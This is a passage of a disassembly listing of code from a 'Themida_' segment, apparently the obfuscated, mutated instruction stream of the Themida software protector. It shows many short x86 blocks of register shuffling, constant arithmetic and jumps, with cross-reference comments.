; ---------------------------------------------------------------------------
loc_59FD0E: ; CODE XREF: Themida_:00595FCAj
neg ebp
xchg ebp, ecx
add ecx, 4F846D02h
or ecx, 0B7255F1h
jmp loc_5A9247
; ---------------------------------------------------------------------------
loc_59FD23: ; CODE XREF: Themida_:0059A774j
xor dl, 4Eh
add dl, 0C1h
jmp loc_599675
; ---------------------------------------------------------------------------
loc_59FD2E: ; CODE XREF: Themida_:00596C09j
add esp, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebx
push 0FFF1659Bh
jmp loc_59E5EC
; ---------------------------------------------------------------------------
loc_59FD4A: ; CODE XREF: Themida_:00596F29j
pop eax
push 3192h
mov [esp], edi
mov edi, esp
push esi
push edx
push 34607FD0h
jmp loc_5A753C
; ---------------------------------------------------------------------------
loc_59FD61: ; CODE XREF: Themida_:0059B114j
shr ebx, 2
push edx
mov edx, 5F35085Ch
jmp loc_5A4E0B
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5AA89E
; ---------------------------------------------------------------------------
loc_59FD78: ; CODE XREF: Themida_:0059E65Aj
xor dl, 0E4h
add al, 0B4h
sub al, dl
sub al, 0B4h
pop edx
push 6485h
mov [esp], ecx
mov ch, 2Ah
or ch, 0ECh
jmp loc_5A7361
; ---------------------------------------------------------------------------
loc_59FD94: ; CODE XREF: Themida_:0059BFCEj
shr eax, 8
sub eax, 0FFFFFFFFh
jmp loc_59B1B2
; ---------------------------------------------------------------------------
loc_59FDA1: ; CODE XREF: Themida_:00598ECDj
sub ecx, 2B590197h
jmp loc_59D3BB
; ---------------------------------------------------------------------------
loc_59FDAC: ; CODE XREF: Themida_:005A3C43j
push edi
mov edi, 4
jmp loc_59E06D
; ---------------------------------------------------------------------------
loc_59FDB7: ; CODE XREF: Themida_:00599080j
push edx
push 32D0h
mov [esp], ecx
push ebp
mov ebp, 54AA32C0h
push ebp
pop ecx
pop ebp
add [esp+4], ecx
jmp loc_5A8AD7
; ---------------------------------------------------------------------------
loc_59FDD2: ; CODE XREF: Themida_:0059BC56j
sub bl, 3Eh
push ecx
mov cl, bl
jmp loc_59C4B1
; ---------------------------------------------------------------------------
loc_59FDDD: ; CODE XREF: Themida_:005A7163j
pop esp
mov [esp], ebp
push edi
jmp loc_59CDB3
; ---------------------------------------------------------------------------
loc_59FDE7: ; CODE XREF: Themida_:005A13A1j
push dword ptr [esp+4]
mov edi, [esp]
push ebp
jmp loc_5A63BE
; ---------------------------------------------------------------------------
loc_59FDF4: ; CODE XREF: Themida_:00596DF9j
push dword ptr [esp+4]
mov esi, [esp]
jmp loc_5AA2B9
; ---------------------------------------------------------------------------
loc_59FE00: ; CODE XREF: Themida_:005A0891j
add edx, 4
xchg edx, [esp]
pop esp
pop ebx
jmp loc_5A51B8
; ---------------------------------------------------------------------------
loc_59FE0D: ; CODE XREF: Themida_:0059F5F2j
inc ecx
xor ecx, 35E34ED7h
jmp loc_5A3CC7
; ---------------------------------------------------------------------------
loc_59FE19: ; CODE XREF: Themida_:005A0AB1j
sub ebp, 5EF87CB5h
jmp loc_5A0B29
; ---------------------------------------------------------------------------
loc_59FE24: ; CODE XREF: Themida_:005AA474j
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5A4A77
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
push esp
push dword ptr [esp]
jmp loc_5A6602
; ---------------------------------------------------------------------------
loc_59FE3E: ; CODE XREF: Themida_:0059FB1Cj
inc esi
sub esp, 4
mov [esp], ebp
mov ebp, 33D33C61h
add esi, ebp
pop ebp
sub esi, 1
push ebp
jmp loc_5A7BA6
; ---------------------------------------------------------------------------
loc_59FE5C: ; CODE XREF: Themida_:00599953j
pop ebx
sub eax, 4
xor eax, [esp]
jmp loc_597890
; ---------------------------------------------------------------------------
loc_59FE68: ; CODE XREF: Themida_:0059CF1Aj
mov ebx, [esp]
jmp loc_5A20CB
; ---------------------------------------------------------------------------
loc_59FE70: ; CODE XREF: Themida_:005AAFF9j
add edx, ebp
pop ebp
add edx, 4
xchg edx, [esp]
mov esp, [esp]
and [edi+20h], esi
jmp loc_59FFDF
; ---------------------------------------------------------------------------
loc_59FE84: ; CODE XREF: Themida_:0059BD59j
push ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 4
add ecx, ebp
pop ebp
xor ecx, [esp]
xor [esp], ecx
jmp loc_5A318B
; ---------------------------------------------------------------------------
loc_59FEA1: ; CODE XREF: Themida_:005AA3CCj
mov esi, [esp]
add esp, 4
xor edx, [esp]
jmp loc_5A0815
; ---------------------------------------------------------------------------
loc_59FEAF: ; CODE XREF: Themida_:00597523j
sub edx, esi
mov esi, [esp]
add esp, 4
mov ecx, edx
pop edx
push 437Ch
mov [esp], ecx
sub dword ptr [esp], 194F5C6Eh
mov edx, [esp]
add esp, 4
jmp loc_5A13E1
; ---------------------------------------------------------------------------
loc_59FED4: ; CODE XREF: Themida_:0059CCB0j
mov esi, 28603978h
xor edx, esi
pop esi
add edx, 180FFEBh
or ebp, edx
jmp loc_597F6A
; ---------------------------------------------------------------------------
loc_59FEE9: ; CODE XREF: Themida_:005A3B09j
mov [esp], edi
mov edi, 6AC86FE5h
add edx, edi
pop edi
jmp loc_5A7EA7
; ---------------------------------------------------------------------------
loc_59FEF9: ; CODE XREF: Themida_:005A4D2Bj
mov edi, [esp]
add esp, 4
add esp, 4
push esi
jmp loc_5A3E19
; ---------------------------------------------------------------------------
loc_59FF0E: ; CODE XREF: Themida_:0059EAFAj
pop edi
push ebp
jmp loc_59C820
; ---------------------------------------------------------------------------
loc_59FF15: ; CODE XREF: Themida_:005A8A10j
push esi
mov esi, 4
mov edx, esi
pop esi
add ebx, edx
jmp loc_5A418A
; ---------------------------------------------------------------------------
loc_59FF25: ; CODE XREF: Themida_:005980C0j
sub esi, 64D426EFh
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_59C960
; ---------------------------------------------------------------------------
loc_59FF4B: ; CODE XREF: Themida_:0059A5C7j
mov ch, dh
pop edx
jmp loc_5A9616
; ---------------------------------------------------------------------------
loc_59FF53: ; CODE XREF: Themida_:005A8F0Aj
mov ebp, 0E4D4AF4h
jmp loc_5A6E38
; ---------------------------------------------------------------------------
loc_59FF5D: ; CODE XREF: Themida_:0059F6F2j
add ebp, 1520568Ah
xor ebp, 13FBC93Dh
push ecx
mov ecx, 0E8226AD5h
add ebp, ecx
pop ecx
sub eax, 66406C90h
add eax, 0EE043A7h
add eax, ebp
jmp loc_5AA2D3
; ---------------------------------------------------------------------------
loc_59FF83: ; CODE XREF: Themida_:005A5E55j
inc dword ptr [esp]
mov edx, [esp]
jmp loc_5A5A75
; ---------------------------------------------------------------------------
loc_59FF8E: ; CODE XREF: Themida_:005A9D43j
pop esp
mov [esp], ebx
mov ebx, 32C1242Bh
xor ebx, 4CE06D0h
shl ebx, 2
add ebx, 9F40C3F5h
mov edi, ebx
pop ebx
push ebp
jmp loc_5A5E39
; ---------------------------------------------------------------------------
loc_59FFAF: ; CODE XREF: Themida_:005A0A56j
add dl, ah
pop eax
sub esp, 2
jmp loc_5A84A8
; ---------------------------------------------------------------------------
loc_59FFBD: ; CODE XREF: Themida_:00598A66j
pop ebx
push 1C64h
mov [esp], edi
jmp loc_5A99D1
; ---------------------------------------------------------------------------
loc_59FFCB: ; CODE XREF: Themida_:005A54F0j
xchg eax, [esp]
mov esp, [esp]
xchg eax, [esp]
mov esp, [esp]
mov fs:[edx], al
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59FFDF: ; CODE XREF: Themida_:0059FE7Fj
pop esi
push 434Bh
mov [esp], eax
mov eax, 20h
add eax, edi
xor dword ptr [eax], 19323Bh
pop eax
push 64D3h
mov [esp], ebx
jmp loc_5A9DEB
; ---------------------------------------------------------------------------
loc_5A0003: ; CODE XREF: Themida_:005A644Dj
mov ecx, 39F720ECh
sub ecx, 4D31F53h
neg ecx
inc ecx
add ecx, 86667C81h
sub eax, ecx
pop ecx
push 287Bh
mov [esp], ebp
mov ebp, 26D7090Dh
push ebp
sub dword ptr [esp], 1
pop ebp
shl ebp, 4
and ebp, 105B7070h
shl ebp, 1
push ebx
mov ebx, 295105E6h
jmp loc_598D9F
; ---------------------------------------------------------------------------
loc_5A0046: ; CODE XREF: Themida_:005A28A8j
xchg ebp, esi
jmp loc_5A8728
; ---------------------------------------------------------------------------
loc_5A004D: ; CODE XREF: Themida_:0059BDBDj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A0052: ; CODE XREF: Themida_:005A09B0j
push ebx
mov ebx, 274249B6h
sub ebx, 26190713h
xor ebx, 43E65ECh
shl ebx, 6
push ebp
mov ebp, 50935EB9h
sub ebx, 68826395h
add ebx, ebp
add ebx, 68826395h
pop ebp
jmp loc_5A4D17
; ---------------------------------------------------------------------------
loc_5A0081: ; CODE XREF: Themida_:0059B0D9j
neg bh
sub bh, 94h
sub al, bh
jmp loc_5A8788
; ---------------------------------------------------------------------------
loc_5A008D: ; CODE XREF: Themida_:00597091j
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_5A6F66
; ---------------------------------------------------------------------------
loc_5A00AD: ; CODE XREF: Themida_:005A17DCj
add esp, 4
push ebp
push 0AC9h
jmp loc_59B086
; ---------------------------------------------------------------------------
loc_5A00BE: ; CODE XREF: Themida_:0059C64Aj
add ebp, 1ECE43C0h
mov edx, [esp]
push edx
jmp loc_5A5F95
; ---------------------------------------------------------------------------
loc_5A00CD: ; CODE XREF: Themida_:0059DDD2j
mov [esp], ebx
push dword ptr [esp]
pop eax
sub esp, 4
jmp loc_5A7DAE
; ---------------------------------------------------------------------------
loc_5A00DF: ; CODE XREF: Themida_:005A5ACDj
pop eax
push 3192h
mov [esp], eax
mov eax, 4
sub ecx, eax
pop eax
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_59C6DE
; ---------------------------------------------------------------------------
loc_5A0104: ; CODE XREF: Themida_:005A66D2j
mov [esp], ecx
sub dword ptr [esp], 3A3D6639h
pop eax
push edi
mov edi, 3EFE1CACh
and edi, 3ABB0D99h
not edi
jmp loc_5A6076
; ---------------------------------------------------------------------------
loc_5A0122: ; CODE XREF: Themida_:0059D5AFj
add dh, 2
xor dh, 0D4h
dec dh
push ebx
mov bl, dh
not bl
jmp loc_59AB85
; ---------------------------------------------------------------------------
loc_5A0134: ; CODE XREF: Themida_:005974E4j
mov ebp, [esp]
jmp loc_5A77A9
; ---------------------------------------------------------------------------
loc_5A013C: ; CODE XREF: Themida_:0059B7B4j
mov ecx, [esp]
add esp, 4
jmp loc_5977F1
; ---------------------------------------------------------------------------
loc_5A014A: ; CODE XREF: Themida_:0059EBC6j
mov ebp, [esp]
add esp, 4
jmp loc_59E8EB
; ---------------------------------------------------------------------------
loc_5A0155: ; CODE XREF: Themida_:0059DBCFj
xchg edx, [esp]
pop esp
mov ebp, [esp]
add esp, 4
push 31C4h
mov [esp], edx
push eax
mov eax, 18226510h
and eax, 6F7D4A6Fh
sub eax, 18DC5866h
jmp loc_59CEFD
; ---------------------------------------------------------------------------
loc_5A017C: ; CODE XREF: Themida_:005AA4A1j
pop edx
sub al, 53h
add al, bl
jmp loc_5A28AD
; ---------------------------------------------------------------------------
loc_5A0186: ; CODE XREF: Themida_:005997F9j
xor esi, 600F7B77h
sub ebp, 3005296Bh
add ebp, esi
add ebp, 3005296Bh
pop esi
add ebp, 4
xchg ebp, [esp]
jmp loc_596C3B
; ---------------------------------------------------------------------------
loc_5A01A9: ; CODE XREF: Themida_:005A0C86j
mov ecx, 590429D6h
mov esi, 6FB21E81h
push ebp
mov ebp, 579A2C79h
sub esi, ebp
pop ebp
sub esi, 0BF13C82Eh
sub esi, ecx
jmp loc_5967D1
; ---------------------------------------------------------------------------
loc_5A01C9: ; CODE XREF: Themida_:0059F843j
mov ebp, 503C235Dh
mov esi, 0A4E56121h
jmp loc_5A9CD1
; ---------------------------------------------------------------------------
loc_5A01D8: ; CODE XREF: Themida_:005A31CBj
mov esp, [esp]
mov eax, [esp]
push edi
mov edi, esp
jmp loc_5A52A2
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_59F086
; ---------------------------------------------------------------------------
loc_5A01EE: ; CODE XREF: Themida_:005A459Cj
push ecx
mov ecx, esp
jmp loc_59EF07
; ---------------------------------------------------------------------------
loc_5A01F6: ; CODE XREF: Themida_:005A20F2j
push 30EEh
jmp loc_59B7D1
; ---------------------------------------------------------------------------
loc_5A0200: ; CODE XREF: Themida_:005A0758j
add edi, ecx
jmp loc_5A3C52
; ---------------------------------------------------------------------------
loc_5A0207: ; CODE XREF: Themida_:0059E561j
add ebx, 3F0C3BD6h
push dword ptr [esp]
pop edx
jmp loc_599101
; ---------------------------------------------------------------------------
loc_5A0216: ; CODE XREF: Themida_:005A6645j
push dword ptr [esp]
pop ebx
push 78C2h
mov [esp], ebx
mov ebx, esp
jmp loc_5A67AC
; ---------------------------------------------------------------------------
loc_5A0229: ; CODE XREF: Themida_:005A5892j
mov [esp], ebp
mov ebp, 7C073660h
and eax, ebp
mov ebp, [esp]
jmp loc_5A5549
; ---------------------------------------------------------------------------
loc_5A023B: ; CODE XREF: Themida_:005A7150j
push dword ptr [esp]
pop edx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push ecx
mov ecx, 4
sub edx, 17EF09F1h
jmp loc_59D495
; ---------------------------------------------------------------------------
loc_5A0262: ; CODE XREF: Themida_:0059EB56j
mov edx, 4B7E1CC7h
mov eax, edx
pop edx
add ecx, eax
pop eax
push esi
jmp loc_5A49C6
; ---------------------------------------------------------------------------
loc_5A0273: ; CODE XREF: Themida_:0059C97Bj
push 3F84h
mov [esp], ecx
mov ecx, 4
sub esp, 4
mov [esp], ebp
mov ebp, 78FD6FBEh
push edi
mov edi, 57EF3DDEh
sub ebp, edi
pop edi
sub ebp, 0AFE20ADFh
sub edi, 42A73475h
sub edi, ebp
jmp loc_597727
; ---------------------------------------------------------------------------
loc_5A02AA: ; CODE XREF: Themida_:005AAA6Cj
mov ebx, 7A52037Bh
neg ebx
push eax
mov eax, 20D05CAAh
dec eax
not eax
shl eax, 6
sub eax, 0C121101Fh
sub ebx, eax
pop eax
sub eax, ebx
pop ebx
pop edi
push edi
push ebx
mov ebx, 44D81716h
push eax
mov eax, ebx
jmp loc_5A1769
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A464A
; ---------------------------------------------------------------------------
loc_5A02E1: ; CODE XREF: Themida_:005A9025j
sub ebx, ecx
pop ecx
pop ebp
add ebx, 48653C12h
jmp loc_5A24E6
; ---------------------------------------------------------------------------
loc_5A02F0: ; CODE XREF: Themida_:0059A1B1j
and esi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
add esi, 118B6A55h
jmp loc_596995
; ---------------------------------------------------------------------------
loc_5A0304: ; CODE XREF: Themida_:0059A5B0j
push ecx
jmp loc_59D36F
; ---------------------------------------------------------------------------
loc_5A030A: ; CODE XREF: Themida_:005A194Cj
push eax
push esp
pop eax
jmp loc_5AB242
; ---------------------------------------------------------------------------
loc_5A0312: ; CODE XREF: Themida_:0059C8A3j
push ecx
push 396876F3h
pop ecx
jmp loc_59E1BA
; ---------------------------------------------------------------------------
loc_5A031E: ; CODE XREF: Themida_:005A4F60j
pop esi
xor esi, 2C634CBAh
push 760Ah
mov [esp], edx
mov edx, esi
mov ebp, edx
pop edx
pop esi
jmp loc_59AEF4
; ---------------------------------------------------------------------------
loc_5A0338: ; CODE XREF: Themida_:0059E328j
push dword ptr [esp]
jmp loc_59B16F
; ---------------------------------------------------------------------------
loc_5A0340: ; CODE XREF: Themida_:005AB039j
xor edx, [esp]
mov esp, [esp]
pop small word ptr [esp]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A034F: ; CODE XREF: Themida_:0059B8A7j
xchg ebx, [esp]
pop esp
mov [esp], edx
push 7EFFh
mov [esp], ecx
mov cl, 8
jmp loc_59BA2B
; ---------------------------------------------------------------------------
loc_5A0365: ; CODE XREF: Themida_:005AB183j
dec ch
inc ch
xor ch, 88h
xor ch, 25h
jmp loc_5983DC
; ---------------------------------------------------------------------------
loc_5A0374: ; CODE XREF: Themida_:0059B458j
push ebp
mov ebp, 77160280h
and ebp, 75A0669Ah
shl ebp, 6
jmp loc_5A6AB7
; ---------------------------------------------------------------------------
loc_5A0388: ; CODE XREF: Themida_:005A6F97j
mov dl, ch
jmp loc_59825A
; ---------------------------------------------------------------------------
loc_5A038F: ; CODE XREF: Themida_:005A493Bj
xchg ebp, [esp]
pop esp
mov [esp], ebx
mov ebx, 46E00280h
or ebx, 5BD04051h
push ecx
mov ecx, 3A903DB6h
jmp loc_5A4DDD
; ---------------------------------------------------------------------------
loc_5A03AC: ; CODE XREF: Themida_:0059B17Aj
push ebp
mov ebp, 2AA343EFh
push 5AEDh
mov [esp], ebx
jmp loc_59A568
; ---------------------------------------------------------------------------
loc_5A03BF: ; CODE XREF: Themida_:0059C894j
push eax
mov eax, 0A4758108h
xor ecx, eax
pop eax
add ebx, ecx
pop ecx
jmp loc_59DAFD
; ---------------------------------------------------------------------------
loc_5A03D0: ; CODE XREF: Themida_:00597A80j
push edx
mov edx, 5791E51Ch
xor esi, edx
jmp loc_5A3276
; ---------------------------------------------------------------------------
loc_5A03DD: ; CODE XREF: Themida_:00598703j
sub bl, 5
and bl, 17h
sub bl, 6Fh
inc bl
xor bl, 2Ah
and dh, bl
jmp loc_5A18E8
; ---------------------------------------------------------------------------
loc_5A03F2: ; CODE XREF: Themida_:005A5A7Cj
mov esi, 5E497DBFh
xor edx, esi
mov esi, [esp]
add esp, 4
sub edx, 5A17E541h
and [edi+1Ch], edx
mov edx, [esp]
push 4652h
mov [esp], edi
push esp
pop edi
add edi, 4
push esi
jmp loc_5979A2
; ---------------------------------------------------------------------------
loc_5A0424: ; CODE XREF: Themida_:0059BE6Ej
add eax, ecx
pop ecx
xchg eax, [esp]
pop esp
jmp loc_5A5AD2
; ---------------------------------------------------------------------------
loc_5A0430: ; CODE XREF: Themida_:0059EED4j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A6FB6
; ---------------------------------------------------------------------------
loc_5A043F: ; CODE XREF: Themida_:005A655Cj
push edi
jmp loc_5A4EB9
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_5A12DF
; ---------------------------------------------------------------------------
loc_5A044C: ; CODE XREF: Themida_:00598508j
add edx, 20C46C01h
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 4
sub edx, 5937663h
add edx, esi
jmp loc_5A2CA7
; ---------------------------------------------------------------------------
loc_5A0476: ; CODE XREF: Themida_:00598B35j
mov [esp], edx
push esp
pop edx
jmp loc_59F4F1
; ---------------------------------------------------------------------------
loc_5A0480: ; CODE XREF: Themida_:0059ED3Bj
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_59E9E1
; ---------------------------------------------------------------------------
loc_5A0495: ; CODE XREF: Themida_:0059BDF1j
mov esp, [esp]
mov [esp], eax
push 30EDh
jmp loc_59FAD7
; ---------------------------------------------------------------------------
loc_5A04A5: ; CODE XREF: Themida_:005A14CBj
push 3878h
mov [esp], ebx
push eax
mov eax, 5CE07BC5h
push edx
jmp loc_59A6B8
; ---------------------------------------------------------------------------
loc_5A04B9: ; CODE XREF: Themida_:005A3017j
xchg ebx, [esp]
pop esp
jmp loc_59B07E
; ---------------------------------------------------------------------------
loc_5A04C2: ; CODE XREF: Themida_:005A0BCBj
add ebx, edx
pop edx
jmp loc_599947
; ---------------------------------------------------------------------------
loc_5A04CA: ; CODE XREF: Themida_:005A8FE0j
sub eax, 609344Eh
neg eax
shr eax, 8
sub eax, 0EDB6C78Fh
sub ebx, eax
mov eax, [esp]
add esp, 4
add ebx, eax
push esi
mov esi, 95E39DBh
add esi, 955DAC0h
add ebx, esi
pop esi
push ecx
pop dword ptr [ebx]
mov ebx, [esp]
jmp loc_59A4B2
; ---------------------------------------------------------------------------
loc_5A04FD: ; CODE XREF: Themida_:00597E2Aj
push 2F27h
mov [esp], eax
jmp loc_5A354C
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A0512: ; CODE XREF: Themida_:005A223Aj
push edi
mov edi, 750D5021h
shr edi, 5
or edi, 45E803AEh
jmp loc_596D18
; ---------------------------------------------------------------------------
loc_5A0526: ; CODE XREF: Themida_:005A37DDj
sub esp, 4
jmp loc_5A1540
; ---------------------------------------------------------------------------
loc_5A0531: ; CODE XREF: Themida_:005AAF2Bj
dec edx
add edx, 32BBA8A3h
add eax, edx
pop edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_59CAD7
; ---------------------------------------------------------------------------
loc_5A0558: ; CODE XREF: Themida_:005A0CD6j
pop dword ptr [esp]
jmp loc_5AA287
; ---------------------------------------------------------------------------
loc_5A0560: ; CODE XREF: Themida_:0059A813j
mov [esp], ebp
push ecx
mov ecx, 2331286Eh
shl ecx, 1
push edi
mov edi, 41FC5576h
inc edi
add edi, 62434777h
add edi, 1E5067C1h
dec edi
add edi, 76091227h
add ecx, edi
jmp loc_5AB0E7
; ---------------------------------------------------------------------------
loc_5A058C: ; CODE XREF: Themida_:005A0EEEj
pop eax
push ebp
push 942h
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
add ebp, 4
sub esp, 4
jmp loc_5979D4
; ---------------------------------------------------------------------------
loc_5A05B1: ; CODE XREF: Themida_:00598A23j
mov ebp, esp
push esi
jmp loc_5A6703
; ---------------------------------------------------------------------------
loc_5A05B9: ; CODE XREF: Themida_:005A8C07j
or esi, 2FBF50AEh
add esi, 678548AFh
jmp loc_5A2DE0
; ---------------------------------------------------------------------------
loc_5A05CA: ; CODE XREF: Themida_:00598B67j
mov ch, 22h
jmp loc_5966E6
; ---------------------------------------------------------------------------
loc_5A05D1: ; CODE XREF: Themida_:005AAA60j
shl ecx, 1
and ecx, 118147E8h
shl ecx, 1
add ecx, 190E6132h
mov eax, ecx
pop ecx
or edi, eax
pop eax
push edx
jmp loc_5AA780
; ---------------------------------------------------------------------------
loc_5A05ED: ; CODE XREF: Themida_:005A4B17j
add edi, 48491F81h
sub edi, ebx
push edx
mov edx, 48491F81h
add edi, 4FEF3DB6h
sub edi, edx
push 4352h
mov [esp], esi
mov esi, 4FEF3DB6h
sub edi, esi
jmp loc_598CBE
; ---------------------------------------------------------------------------
loc_5A0617: ; CODE XREF: Themida_:0059CC37j
add eax, ecx
sub eax, 389112D5h
pop ecx
sub eax, ecx
push edi
mov edi, 85C6D13h
jmp loc_59B2A2
; ---------------------------------------------------------------------------
loc_5A062C: ; CODE XREF: Themida_:005A5385j
xchg eax, [esp]
pop esp
push ecx
mov ecx, 397B1075h
sub ecx, 73C86538h
sub ecx, 0C5B2AB39h
add eax, 763C5DB0h
add eax, 29FC35B6h
add eax, ecx
sub eax, 29FC35B6h
sub eax, 763C5DB0h
pop ecx
push 63D4h
jmp loc_596274
; ---------------------------------------------------------------------------
loc_5A0663: ; CODE XREF: Themida_:005A9D89j
add edx, 4
jmp loc_5A25FE
; ---------------------------------------------------------------------------
loc_5A066E: ; CODE XREF: Themida_:0059B4A6j
push ebx
jmp loc_5A9F69
; ---------------------------------------------------------------------------
loc_5A0674: ; CODE XREF: Themida_:00599FF9j
mov ebp, edi
pop edi
jmp loc_597289
; ---------------------------------------------------------------------------
mov ax, [esp]
push 0D6Bh
mov [esp], edi
push esp
mov edi, [esp]
push edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
push ecx
mov ecx, 4
add edx, ecx
pop ecx
jmp loc_59D7D4
; ---------------------------------------------------------------------------
loc_5A06A9: ; CODE XREF: Themida_:005A33C5j
xor eax, 7797D0Dh
sub eax, 1F713828h
jmp loc_59F937
; ---------------------------------------------------------------------------
loc_5A06B8: ; CODE XREF: Themida_:0059D12Fj
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
mov ebx, esp
add ebx, 4
push 5282h
mov [esp], eax
mov eax, 4
jmp loc_59CC3C
; ---------------------------------------------------------------------------
loc_5A06EF: ; CODE XREF: Themida_:0059B8B1j
mov [esp], dx
push ebx
mov bl, 4Eh
and bl, 2Eh
jmp loc_59CCB5
; ---------------------------------------------------------------------------
loc_5A06FE: ; CODE XREF: Themida_:00599B23j
mov edi, [esp]
add esp, 4
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
imul ecx
push 4150h
mov [esp], edx
push eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A0729: ; CODE XREF: Themida_:0059EC53j
push 241Ch
mov [esp], eax
mov ah, dh
mov cl, ah
mov eax, [esp]
jmp loc_5A2189
; ---------------------------------------------------------------------------
loc_5A073D: ; CODE XREF: Themida_:005AAC72j
push eax
push ebp
push 698E4A40h
pop ebp
jmp loc_5A9E51
; ---------------------------------------------------------------------------
loc_5A074A: ; CODE XREF: Themida_:00598034j
pop ebp
push 43D3h
mov [esp], ecx
mov ecx, 2
jmp loc_5A0200
; ---------------------------------------------------------------------------
loc_5A075D: ; CODE XREF: Themida_:00597284j
pop ebx
push esi
push dword ptr [esp+4]
jmp loc_5A6452
; ---------------------------------------------------------------------------
loc_5A0768: ; CODE XREF: Themida_:0059CC01j
and edx, 46783824h
dec edx
jmp loc_5A4BDA
; ---------------------------------------------------------------------------
loc_5A0774: ; CODE XREF: Themida_:005A516Aj
sub [esp+4], cx
pop cx
mov dx, [esp]
add esp, 2
jmp loc_5985C0
; ---------------------------------------------------------------------------
loc_5A0787: ; CODE XREF: Themida_:0059B9A3j
add ebp, 154335ABh
sub ebp, 50361A4h
add ebp, 2D2A9E8Ch
jmp loc_5A8254
; ---------------------------------------------------------------------------
loc_5A079E: ; CODE XREF: Themida_:005A2B3Dj
dec esi
neg esi
add esi, 4DDD78CAh
sub esi, 3A2D6C20h
add ecx, esi
jmp loc_59EA48
; ---------------------------------------------------------------------------
loc_5A07B4: ; CODE XREF: Themida_:005AA908j
and edx, ecx
pop ecx
push 5C85h
jmp loc_59DA3E
; ---------------------------------------------------------------------------
loc_5A07C1: ; CODE XREF: Themida_:005A83F3j
xchg ebx, edx
not ebx
xchg ebx, edx
xor [esp], edx
xor edx, [esp]
xor [esp], edx
pop eax
push 6F07h
mov [esp], ebx
push 1
jmp loc_5A59B4
; ---------------------------------------------------------------------------
loc_5A07E3: ; CODE XREF: Themida_:00597FA0j
sub ecx, ebx
sub ecx, 32780A4Ah
jmp loc_5A4970
; ---------------------------------------------------------------------------
loc_5A07F0: ; CODE XREF: Themida_:0059F2D6j
add ebx, 6F41568h
pop ecx
sub esp, 4
mov [esp], edi
mov edi, 3A5145BEh
jmp loc_5A6BD6
; ---------------------------------------------------------------------------
loc_5A0807: ; CODE XREF: Themida_:005A116Cj
mov ecx, [esp]
add esp, 4
jmp loc_5AA50E
; ---------------------------------------------------------------------------
loc_5A0815: ; CODE XREF: Themida_:0059FEAAj
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_5A9BCC
; ---------------------------------------------------------------------------
loc_5A0821: ; CODE XREF: Themida_:005A5DB7j
pop eax
add [edi+24h], ebp
jmp loc_5AA0FA
; ---------------------------------------------------------------------------
loc_5A082A: ; CODE XREF: Themida_:0059A3D0j
push 607Ah
jmp loc_599540
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
sub esp, 4
mov [esp], esi
push esp
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
push esp
mov esi, [esp]
push edi
mov edi, esp
jmp loc_5A15C5
; ---------------------------------------------------------------------------
loc_5A0862: ; CODE XREF: Themida_:005A0E0Dj
pop edi
add ecx, 2
xchg ecx, [esp]
pop esp
push 0DA3h
mov [esp], ebx
mov bl, 0B5h
add bl, 0D4h
push ecx
mov ch, 7Eh
or ch, 59h
add ch, 80h
jmp loc_5A5455
; ---------------------------------------------------------------------------
loc_5A0888: ; CODE XREF: Themida_:005A0B24j
push edx
mov edx, esp
add edx, 4
jmp loc_59FE00
; ---------------------------------------------------------------------------
loc_5A0896: ; CODE XREF: Themida_:00596FA8j
pop edx
add bl, ah
pop eax
push small 176Eh
mov [esp], dx
sub esp, 4
mov [esp], ecx
mov cl, 1Eh
or cl, 0A0h
jmp loc_5A7590
; ---------------------------------------------------------------------------
loc_5A08B5: ; CODE XREF: Themida_:005A838Cj
mov esp, [esp]
rol dword ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A08C1: ; CODE XREF: Themida_:0059E1B5j
mov ebx, ecx
pop ecx
push ecx
mov ecx, 317C126Dh
sub ebx, ecx
jmp loc_5A3BAB
; ---------------------------------------------------------------------------
loc_5A08D1: ; CODE XREF: Themida_:005A9420j
mov esi, 25AB1EB3h
and esi, 1A9D38A8h
dec esi
and esi, 4CF9411Ah
xor esi, 1DF855B1h
add esi, 14C8D5F2h
jmp loc_5AAB98
; ---------------------------------------------------------------------------
loc_5A08F4: ; CODE XREF: Themida_:005980D4j
pop esp
add ecx, eax
jmp loc_59A5D6
; ---------------------------------------------------------------------------
loc_5A08FC: ; CODE XREF: Themida_:0059B899j
